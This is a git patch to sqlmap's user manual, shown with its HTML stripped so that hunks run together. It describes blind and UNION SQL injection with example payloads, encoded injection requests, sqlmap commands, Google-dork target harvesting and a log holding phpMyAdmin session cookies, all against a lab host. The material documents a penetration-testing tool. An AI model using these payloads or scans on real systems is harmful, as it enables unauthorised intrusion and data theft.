From bf2a857b9aaa3246310b1bd9a75614c4f995c2ed Mon Sep 17 00:00:00 2001
From: Bernardo Damele
Consider that the target url is:
-http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
+http://192.168.1.121/sqlmap/mysql/get_int.php?id=1
Assume that:
-http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1&cat=2
+http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1
is the same page as the original one and:
-http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2&cat=2
+http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2
differs from the original one, it means that you are in front of a SQL @@ -133,12 +133,12 @@ does not depend upon the back-end database management system nor on the web application programming language: it is a programmer code's security flaw. The Open Web Application Security Project -recently rated in their +rated on 2007 in their OWASP Top Ten survey this vulnerability as the most common and important web application vulnerability, second only to Cross-Site Scripting.
Back to the scenario, probably the SQL SELECT
statemenet into
-index.php
has a syntax similar to the following SQL query, in
+get_int.php
has a syntax similar to the following SQL query, in
pseudo PHP code:
@@ -154,16 +154,18 @@ same content and without showing any SQL error message.
if the web application technology supports +stacked queries, also known as multiple statements.Moreover, in this simple and easy to inject scenario it would be also possible to append, not just one or more valid SQL condition(s), but also stacked SQL queries, for instance something like
+ANOTHER SQL QUERY#[...]&id=1; -ANOTHER SQL QUERY--
Now that you found this SQL injection vulnerable parameter, you can exploit it by manipulating the
id
parameter value in the HTTP request.There exist many -resources -on the Net explaining in depth how to prevent and how to exploit SQL -injection vulnerabilities and it is recommended to read them if you are -not familiar with the issue before going ahead with sqlmap.
-Passing the original address,
+http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
+resources +on the Net explaining in depth how to prevent, how to detect and how to +exploit SQL injection vulnerabilities in web application and it is +recommended to read them if you are not familiar with the issue before +going ahead with sqlmap.Passing the original address,
http://192.168.1.121/sqlmap/mysql/get_int.php?id=1
to sqlmap, the tool will automatically:
@@ -181,11 +183,11 @@ in the following section to go ahead with the exploiting.
sqlmap implements two techniques to exploit a SQL injection vulnerability:
-
@@ -222,7 +227,8 @@ with hundreds of HTTP requests.- Blind SQL injection, also known as inference SQL -injection: sqlmap appends to the affected parameter in the HTTP -request, a syntatically valid SQL statement string containing a -
SELECT
sub-statement, or any other SQL statement whose the user -want to retrieve the output. +- Blind SQL injection, also known as Inferential Blind SQL +injection in this implementation: sqlmap appends to the affected +parameter in the HTTP request, a syntatically valid SQL statement string +containing a
-SELECT
sub-statement, or any other SQL statement +whose the user want to retrieve the output. For each HTTP response, by making a comparison based upon HTML page content hashes, or string matches, with the original request, the tool determines the output value of the statement character by character. @@ -193,16 +195,19 @@ The bisection algorithm implemented in sqlmap to perform this technique is able to fetch each output character with at maximum seven HTTP requests. This is sqlmap default SQL injection technique.- Inband SQL injection, also known as UNION query SQL +
- Inband SQL injection, also known as Full UNION query SQL injection: sqlmap appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string starting with a
UNION ALL SELECT
. This techique is useful if the web application page passes the output of theSELECT
statement to afor
cycle, or similar, so that each line of the query output is printed on the page content. +sqlmap is also able to exploit Partial UNION query SQL injection +vulnerabilities which occur when the output of the statement is not cycled +in a for construct whereas only the first entry output is displayed. This technique is much faster if the target url is affected by because -in a single HTTP response it returns the whole query output within the -page content. +in a single HTTP response it returns the whole query output or a entry +per each response within the page content. This SQL injection technique is an alternative to the first one.- Full support for MySQL, Oracle, PostgreSQL and Microsoft SQL Server back-end database management systems. Besides these four database management systems, sqlmap can also identify -Microsoft Access, DB2, Informix, Sybase and Interbase.
+Microsoft Access, DB2, Informix, Sybase and Interbase. +- Extensive back-end database management system fingerprint based upon inband error messages, @@ -230,19 +236,36 @@ based upon functions output comparison and specific features such as MySQL comment injection. It is also possible to force the back-end -database management system name if you already know it.
+database management system name if you already know it. sqlmap is also able +to fingerprint the web server operating system, the web application +technology and, in some circumstances, the back-end DBMS operating system. +- Full support for two SQL injection techniques: blind SQL -injection and inband SQL injection.
+injection and inband SQL injection. sqlmap can also test for +Time based blind SQL injection. +- Options to retrieve on all four back-end database management system banner, current user, current database, enumerate users, users password hashes, users privileges, databases, tables, columns, dump tables entries, dump whole database management -system and run your own SQL
+system and run your own SQLSELECT
statement.SELECT
statement. +- If the back-end database management system is MySQL it is also -possible to read a specific file content and in some -circumstances prompt for an interactive operating system shell -with TAB completion and history support.
+possible to read a specific file content from the ile system and, +in some circumstances, prompt for an interactive operating system +shell with TAB completion and history support. + +- It is possible to provide a single target URL, get the list of +targets from +Burp proxy +requests log file path or +WebScarab proxy +
conversations/
folder path or get the list of targets by providing +sqlmap with a Google dork which queries +Google search engine and +parses its results page. +- Automatically tests all provided GET parameters, POST parameters, HTTP Cookie header values and HTTP User-Agent header value to find the dynamic ones, which means @@ -253,38 +276,51 @@ affected by SQL injection. Each dynamic parameter is tested for string and all of these three datatypes with zero to two parenthesis to correctly detect which is the
+parameter(s) that you want to perform tests and use for injection on. +SELECT
statement syntax to perform further injections with. It is also possible to specify the -parameter(s) that you want to perform tests and use for injection on.- Option to specify the maximum number of concurrent HTTP requests to speed up the blind SQL injection algorithms -(multithreading).
+(multithreading). It is also possible to specify the number of seconds to +wait between each HTTP request. +- HTTP
+on such header. +Cookie
header string support, useful when the web application requires authentication based upon cookies and you have such data or in case you just want to test for and exploit SQL injection -on such header.- Automatically handle HTTP
-Set-Cookie
header from target url, re-establishing of the session if it expires. Test and exploit -on these values is supported too.- HTTP Basic and Digest authentications support.
-- Anonymous HTTP proxy support to pass by the HTTP requests -to the target URL.
+on these values is supported too. + +- HTTP Basic and Digest authentications support. +
+- Anonymous HTTP proxy support to pass by the requests to the +target URL that works also with HTTPS requests. +
- Options to fake the HTTP
+randomly selected from a text file. +Referer
header value and the HTTPUser-Agent
header value specified by user or -randomly selected from a text file.- Support to increase the verbosity level of output messages: -there exist six levels. The default level is 0 (silent) in which -only warnings, errors and tracebacks, if they occur, will be shown.
+there exist six levels. The default level is 1 in which +information, warnings, errors and tracebacks, if they occur, will be shown. +- Estimated time of arrival support for each query, updated in real time while fetching the information to give to the user an -overview on how long it will take to retrieve the output.
+overview on how long it will take to retrieve the output. +- Support to save the session (queries and their output, even if partially retrieved) in real time while fetching the data on a text file -and resume the injection from this file in a second time.
+and resume the injection from this file in a second time. +- Support to read options from a configuration INI file rather than specify each time all of the options on the command line. Support also to -save command line options on a configuration INI file.
+save command line options on a configuration INI file. +- Integration with other IT security related open source projects, Metasploit and -w3af.
+w3af. +- PHP setting
@@ -300,17 +336,22 @@ It is available in various formats:magic_quotes_gpc
bypass by encoding every query string, between single quotes, withCHAR
, or similar, database management system function.
-
- -Source gzip compressed operating system independent.
+Source gzip compressed operating system independent. +- -Source bzip2 compressed operating system independent.
+Source bzip2 compressed operating system independent. +- -Source zip compressed operating system independent.
+Source zip compressed operating system independent. +- DEB binary package architecture independent for Debian and any -other Debian derivated GNU/Linux distribution.
+other Debian derivated GNU/Linux distribution. +- RPM binary package architecture independent for Fedora and any -other operating system that can install RPM packages.
+other operating system that can install RPM packages. +- Portable executable for Windows that does not require the Python interpreter to be installed on the operating system.
@@ -386,6 +427,10 @@ Options: --timeout=TIMEOUT Seconds to wait before timeout connection (default 10) Injection: + These options can be used to specify which parameters to test for, + provide custom injection payloads and how to parse and compare HTTP + responses page content when using the blind SQL injection technique. + -p TESTPARAMETER Testable parameter(s) --dbms=DBMS Force back-end DBMS to this value --prefix=PREFIX Injection payload prefix string @@ -469,20 +514,25 @@ Options:5.1 Target
+At least one of these options has to be specified to set the source to get +target urls from.
+Target URL
Option:
-u
or--url
To run sqlmap on a single target URL.
-Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
@@ -494,93 +544,108 @@ back-end DBMS: MySQL >= 5.0.0
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" [...] -back-end DBMS: MySQL >= 5.0.0 +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS: MySQL >= 5.0.0Verbose options can be used to set the verbosity level of output messages. There exist six levels. -The default level is 0 (silent) in which only warnings, errors and -tracebacks, if they occur, will be shown. Level 1 shows also info -messages, level 2 show also debug messages, level 3 show also HTTP -requests with all HTTP headers sent, level 4 show also HTTP responses -headers and level 5 show also HTTP responses page content.
+The default level is 1 in which information, warnings, errors and +tracebacks, if they occur, will be shown. +Level 2 shows also debug messages, level 3 shows also +HTTP requests with all HTTP headers sent, level 4 shows also HTTP +responses headers and level 5 shows also HTTP responses page +content. -Example on a MySQL 5.0.51 target (verbosity level 1):
+Example on a MySQL 5.0.67 target (verbosity level 1):
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -[hh:mm:01] [INFO] testing connection to the target url -[hh:mm:01] [INFO] testing if the url is stable, wait a few seconds -[hh:mm:02] [INFO] url is stable -[hh:mm:02] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic -[hh:mm:02] [WARNING] User-Agent parameter 'User-Agent' is not dynamic -[hh:mm:02] [INFO] testing if GET parameter 'id' is dynamic -[hh:mm:02] [INFO] confirming that GET parameter 'id' is dynamic -[hh:mm:02] [INFO] GET parameter 'id' is dynamic -[hh:mm:02] [INFO] testing sql injection on GET parameter 'id' -[hh:mm:02] [INFO] testing numeric/unescaped injection on GET parameter 'id' -[hh:mm:02] [INFO] confirming numeric/unescaped injection on GET parameter 'id' -[hh:mm:02] [INFO] GET parameter 'id' is numeric/unescaped injectable -[hh:mm:02] [INFO] testing if GET parameter 'cat' is dynamic -[hh:mm:02] [WARNING] GET parameter 'cat' is not dynamic -[hh:mm:02] [INFO] testing for parenthesis on injectable parameter -[hh:mm:02] [INFO] the injectable parameter requires 0 parenthesis -[hh:mm:02] [INFO] testing MySQL -[hh:mm:02] [INFO] query: CONCAT(CHAR(53), CHAR(53)) -[hh:mm:02] [INFO] retrieved: 55 -[hh:mm:02] [INFO] performed 20 queries in 0 seconds -[hh:mm:02] [INFO] confirming MySQL -[hh:mm:02] [INFO] query: LENGTH(CHAR(53)) -[hh:mm:02] [INFO] retrieved: 1 -[hh:mm:02] [INFO] performed 13 queries in 0 seconds -[hh:mm:02] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1 -[hh:mm:02] [INFO] retrieved: 5 -[hh:mm:02] [INFO] performed 13 queries in 0 seconds -back-end DBMS: MySQL >= 5.0.0 +[hh:mm:12] [INFO] testing connection to the target url +[hh:mm:12] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:14] [INFO] url is stable +[hh:mm:14] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic +[hh:mm:14] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +[hh:mm:14] [INFO] testing if GET parameter 'id' is dynamic +[hh:mm:14] [INFO] confirming that GET parameter 'id' is dynamic +[hh:mm:14] [INFO] GET parameter 'id' is dynamic +[hh:mm:14] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis +[hh:mm:14] [INFO] testing unescaped numeric injection on GET parameter 'id' +[hh:mm:14] [INFO] confirming unescaped numeric injection on GET parameter 'id' +[hh:mm:14] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis +[hh:mm:14] [INFO] testing for parenthesis on injectable parameter +[hh:mm:14] [INFO] the injectable parameter requires 0 parenthesis +[hh:mm:14] [INFO] testing MySQL +[hh:mm:14] [INFO] query: CONCAT(CHAR(53), CHAR(53)) +[hh:mm:14] [INFO] retrieved: 55 +[hh:mm:14] [INFO] performed 20 queries in 0 seconds +[hh:mm:14] [INFO] confirming MySQL +[hh:mm:14] [INFO] query: LENGTH(CHAR(53)) +[hh:mm:14] [INFO] retrieved: 1 +[hh:mm:14] [INFO] performed 13 queries in 0 seconds +[hh:mm:14] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1 +[hh:mm:14] [INFO] retrieved: 5 +[hh:mm:14] [INFO] performed 13 queries in 0 seconds +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS: MySQL >= 5.0.0Example on a MySQL 5.0.51 target (verbosity level 2):
+Example on a MySQL 5.0.67 target (verbosity level 2):
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 2 +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 2 -[hh:mm:34] [DEBUG] initializing the configuration -[hh:mm:34] [DEBUG] initializing the knowledge base -[hh:mm:34] [DEBUG] cleaning up configuration parameters -[hh:mm:34] [DEBUG] setting the HTTP method to perform HTTP requests through -[hh:mm:34] [DEBUG] creating HTTP requests opener object -[hh:mm:34] [DEBUG] parsing XML queries file -[hh:mm:34] [INFO] testing connection to the target url -[hh:mm:34] [INFO] testing if the url is stable, wait a few seconds -[hh:mm:35] [INFO] url is stable -[hh:mm:35] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic -[hh:mm:35] [WARNING] User-Agent parameter 'User-Agent' is not dynamic -[hh:mm:35] [INFO] testing if GET parameter 'id' is dynamic +[hh:mm:03] [DEBUG] initializing the configuration +[hh:mm:03] [DEBUG] initializing the knowledge base +[hh:mm:03] [DEBUG] cleaning up configuration parameters +[hh:mm:03] [DEBUG] setting the HTTP method to GET +[hh:mm:03] [DEBUG] creating HTTP requests opener object +[hh:mm:03] [DEBUG] parsing XML queries file +[hh:mm:03] [INFO] testing connection to the target url +[hh:mm:03] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:04] [INFO] url is stable +[hh:mm:04] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic +[hh:mm:04] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +[hh:mm:04] [INFO] testing if GET parameter 'id' is dynamic +[hh:mm:04] [INFO] confirming that GET parameter 'id' is dynamic +[hh:mm:04] [INFO] GET parameter 'id' is dynamic +[hh:mm:04] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis +[hh:mm:04] [INFO] testing unescaped numeric injection on GET parameter 'id' +[hh:mm:04] [INFO] confirming unescaped numeric injection on GET parameter 'id' +[hh:mm:04] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis [...]Example on a MySQL 5.0.51 target (verbosity level 3):
+Example on a MySQL 5.0.67 target (verbosity level 3):
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 3 +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 3 [...] -[hh:mm:28] [INFO] testing connection to the target url -[hh:mm:28] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 +[hh:mm:54] [INFO] testing connection to the target url +[hh:mm:54] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close [...] -[hh:mm:29] [INFO] testing MySQL -[hh:mm:29] [INFO] query: CONCAT(CHAR(52), CHAR(52)) -[hh:mm:29] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20 -CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1 +[hh:mm:55] [INFO] testing MySQL +[hh:mm:55] [INFO] query: CONCAT(CHAR(54), CHAR(54)) +[hh:mm:55] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2854%29%2C%20CHAR +%2854%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201104=1104 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close [...] @@ -588,71 +653,72 @@ Connection: closeExample on a MySQL 5.0.51 target (verbosity level 4):
+Example on a MySQL 5.0.67 target (verbosity level 4):
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 4 +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 4 [...] -[hh:mm:32] [INFO] testing connection to the target url -[hh:mm:32] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 +[hh:mm:44] [INFO] testing connection to the target url +[hh:mm:44] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close -[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200): -Date: Thu, 24 Jul 2008 14:00:32 GMT -Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 -OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 -X-Powered-By: PHP/5.2.4-2ubuntu5.2 -Content-Length: 127 +[hh:mm:44] [TRAFFIC IN] HTTP response (OK - 200): +Date: Thu, 11 Dec 2008 hh:mm:44 GMT +Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch +X-Powered-By: PHP/5.2.6-2ubuntu4 +Content-Length: 119 Connection: close Content-Type: text/html [...] -[hh:mm:33] [INFO] testing MySQL -[hh:mm:33] [INFO] query: CONCAT(CHAR(52), CHAR(52)) -[hh:mm:33] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20 -CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1 +[hh:mm:45] [INFO] testing MySQL +[hh:mm:46] [INFO] query: CONCAT(CHAR(52), CHAR(52)) +[hh:mm:46] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20CHAR +%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%203030=3030 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close - -[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200): -Date: Thu, 24 Jul 2008 14:00:33 GMT -Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 -OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 -X-Powered-By: PHP/5.2.4-2ubuntu5.2 -Content-Length: 75 -Connection: close -Content-Type: text/html [...]Example on a MySQL 5.0.51 target (verbosity level 5):
+Example on a MySQL 5.0.67 target (verbosity level 5):
:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 5 +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5 [...] -[hh:mm:23] [INFO] testing connection to the target url -[hh:mm:23] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 +[hh:mm:17] [INFO] testing connection to the target url +[hh:mm:17] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close -[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200): -Date: Thu, 24 Jul 2008 14:02:23 GMT -Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 -OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 -X-Powered-By: PHP/5.2.4-2ubuntu5.2 -Content-Length: 127 +[hh:mm:17] [TRAFFIC IN] HTTP response (OK - 200): +Date: Thu, 11 Dec 2008 hh:mm:17 GMT +Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch +X-Powered-By: PHP/5.2.6-2ubuntu4 +Content-Length: 119 Connection: close Content-Type: text/html @@ -663,20 +729,23 @@ Content-Type: text/html </table> </body></html> [...] -[hh:mm:24] [INFO] testing MySQL -[hh:mm:24] [INFO] query: CONCAT(CHAR(51), CHAR(51)) -[hh:mm:24] [TRAFFIC OUT] HTTP request: -GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20 -CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&cat=2 HTTP/1.1 +[hh:mm:18] [INFO] testing MySQL +[hh:mm:18] [INFO] query: CONCAT(CHAR(51), CHAR(51)) +[hh:mm:18] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20CHAR +%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%202581=2581 HTTP/1.1 +Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Host: 192.168.1.121:80 +Accept-language: en-us,en;q=0.5 +Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, +image/png,*/*;q=0.5 User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net) Connection: close -[hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200): -Date: Thu, 24 Jul 2008 14:02:24 GMT -Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 -OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 -X-Powered-By: PHP/5.2.4-2ubuntu5.2 +[hh:mm:18] [TRAFFIC IN] HTTP response (OK - 200): +Date: Thu, 11 Dec 2008 hh:mm:18 GMT +Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch +X-Powered-By: PHP/5.2.6-2ubuntu4 Content-Length: 75 Connection: close Content-Type: text/html @@ -696,15 +765,77 @@ Content-Type: text/htmlOption:
--l
TODO
+Rather than providing a single target URL it is possible to test and inject +on HTTP requests proxied through +Burp proxy +or +WebScarab proxy.
+ +Example passing to sqlmap a WebScarab proxy
+conversations/
folder:+
++
+$ python sqlmap.py -l /tmp/webscarab.log/conversations/ + +[hh:mm:43] [INFO] sqlmap parsed 27 testable requests from the targets list +[hh:mm:43] [INFO] sqlmap got a total of 27 targets +[hh:mm:43] [INPUT] url 1: +GET http://192.168.1.121:80/phpmyadmin/navigation.php?db=test&token=60747016432606019619a +c58b3780562 +Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3; phpMyAdmin=366c9c9b329a98eabb4b708c2df8b +d7d392eb151; pmaCookieVer=4; pmaPass-1=uH9%2Fz5%2FsB%2FM%3D; pmaUser-1=pInZx5iWPrA%3D; +pma_charset=iso-8859-1; pma_collation_connection=utf8_unicode_ci; pma_fontsize=deleted; +pma_lang=en-utf-8; pma_mcrypt_iv=o6Mwtqw6c0c%3D; pma_theme=deleted +do you want to test this url? [Y/n/q] n +[hh:mm:46] [INPUT] url 2: +GET http://192.168.1.121:80/sqlmap/mysql/get_int.php?id=1 +Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3 +do you want to test this url? [Y/n/q] y +[hh:mm:49] [INFO] testing url http://192.168.1.121:80/sqlmap/mysql/get_int.php?id=1 +[hh:mm:49] [INFO] testing connection to the target url +[hh:mm:49] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:50] [INFO] url is stable +[hh:mm:50] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic +[hh:mm:50] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +[hh:mm:50] [INFO] testing if Cookie parameter 'PPA_ID' is dynamic +[hh:mm:50] [WARNING] Cookie parameter 'PPA_ID' is not dynamic +[hh:mm:50] [INFO] testing if GET parameter 'id' is dynamic +[hh:mm:50] [INFO] confirming that GET parameter 'id' is dynamic +[hh:mm:50] [INFO] GET parameter 'id' is dynamic +[hh:mm:50] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis +[hh:mm:50] [INFO] testing unescaped numeric injection on GET parameter 'id' +[hh:mm:50] [INFO] confirming unescaped numeric injection on GET parameter 'id' +[hh:mm:50] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis +[hh:mm:50] [INPUT] do you want to exploit this SQL injection? [Y/n] y +[hh:mm:29] [INFO] testing for parenthesis on injectable parameter +[hh:mm:29] [INFO] the injectable parameter requires 0 parenthesis +[hh:mm:29] [INFO] testing MySQL +[hh:mm:29] [INFO] query: CONCAT(CHAR(57), CHAR(57)) +[hh:mm:29] [INFO] retrieved: 99 +[hh:mm:29] [INFO] performed 20 queries in 0 seconds +[hh:mm:29] [INFO] confirming MySQL +[hh:mm:29] [INFO] query: LENGTH(CHAR(57)) +[hh:mm:29] [INFO] retrieved: 1 +[hh:mm:29] [INFO] performed 13 queries in 0 seconds +[hh:mm:29] [INFO] query: SELECT 9 FROM information_schema.TABLES LIMIT 0, 1 +[hh:mm:29] [INFO] retrieved: 9 +[hh:mm:29] [INFO] performed 13 queries in 0 seconds +web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) +web application technology: PHP 5.2.6, Apache 2.2.9 +back-end DBMS: MySQL >= 5.0.0 +[...] ++Process Google dork results as target urls
Option:
--g
Rather than providing a target URL it is also possible to test and inject -on
+GET
parameters on the results of your Google dork.It is also possible to test and inject on
+GET
parameters on the +results of your Google dork.This option makes sqlmap negotiate with the search engine its session cookie to be able to perform a search, then sqlmap will retrieve Google first 100 results for the Google dork expression with
GET
parameters @@ -715,18 +846,22 @@ inurl:example.php
-$ python sqlmap.py -g "site:yourdomain.com inurl:example.php" -v 1 +$ python sqlmap.py -g "site:yourdomain.com ext:php" -v 1 [hh:mm:38] [INFO] first request to Google to get the session cookie [hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are testable hosts -[hh:mm:40] [INFO] url 1: http://yourdomain.com/example.php?id=12, do you want to test this +[hh:mm:41] [INFO] sqlmap got a total of 59 targets +[hh:mm:40] [INFO] url 1: +GET http://yourdomain.com/example1.php?foo=12, do you want to test this url? [y/N/q] n -[hh:mm:43] [INFO] url 3: http://yourdomain.com/example.php?id=24, do you want to test this +[hh:mm:43] [INFO] url 2: +GET http://yourdomain.com/example2.php?bar=24, do you want to test this url? [y/N/q] n -[hh:mm:42] [INFO] url 2: http://thirdlevel.yourdomain.com/news/example.php?today=483, do you +[hh:mm:42] [INFO] url 3: +GET http://thirdlevel.yourdomain.com/news/example3.php?today=483, do you want to test this url? [y/N/q] y -[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example.php?today=483 +[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example3.php?today=483 [hh:mm:45] [INFO] testing if the url is stable, wait a few seconds [hh:mm:49] [INFO] url is stable [hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic @@ -749,7 +884,7 @@ want to test this url? [y/N/q] yIt is possible to pass user's options from a configuration INI file, an example is
-sqlmap.conf
.Example on a MySQL 5.0.51 target:
+Example on a MySQL 5.0.67 target:
@@ -764,12 +899,14 @@ back-end DBMS: MySQL >= 5.0.0Note that if you also provide other options from command line, those are evaluated when running sqlmap and overwrite the same options, if set, in -the configuration file provided.
+the provided configuration file.5.2 Request
+These options can be used to specify how to connect to the target url.
+HTTP method:
GET
orPOST
Options:
@@ -784,7 +921,7 @@ tested for SQL injection like the--method
and--data
GET
parameters.@@ -846,7 +983,7 @@ value to the clipboard.
